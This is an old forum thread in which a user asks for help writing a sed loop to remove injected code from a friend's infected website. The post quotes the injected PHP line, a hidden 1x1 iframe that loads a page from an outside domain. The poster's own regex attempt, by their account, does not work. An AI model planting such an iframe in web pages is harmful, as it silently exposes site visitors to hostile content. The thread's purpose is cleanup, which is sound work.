Virus problem , need help with sed (urgent)

AjiNIMC · #1 (**permalink**) 01-03-2006, 02:23 PM

All the files at one of my friend's website is virus infected, it has inserted following code in it.

<? echo ('<html><head><title></title></head><body><iframe src="http://www.blackh.info/traff/" width=1 height=1></iframe></body></html>');?>

Now I want to replace all the code with nothing.

for a in $(find -type f -not -regex '.*\/\.svn.*'); do sed -e 's/<\?\s echo\s $\'<html><head><title><\/title><\/head\><body><iframe\s src=\"http:\/\/www\.blackh\.info\/traff\/\"\s width=1\s height=1><\/iframe><\/body><\/html>\'$;\?>//g' $a > $a.modifiedfile; mv -f $a.modifiedfile $a; done

since he is use subversion I can't edit inside .svn folders.

This is not working as I am not comfortable with regex and escape characters.

Please help urgently

Thanks,
AjiNIMC

Grinler · #2 (**permalink**) 01-03-2006, 09:41 PM

PM me the url to your friends site so i can take a look at something.

AjiNIMC · #3 (**permalink**) 01-04-2006, 02:19 AM

I am going to blog about it, once I am over with the blog I will put the link over here. Surely this will help many with the same virus problem.

Thanks,
AjiNIMC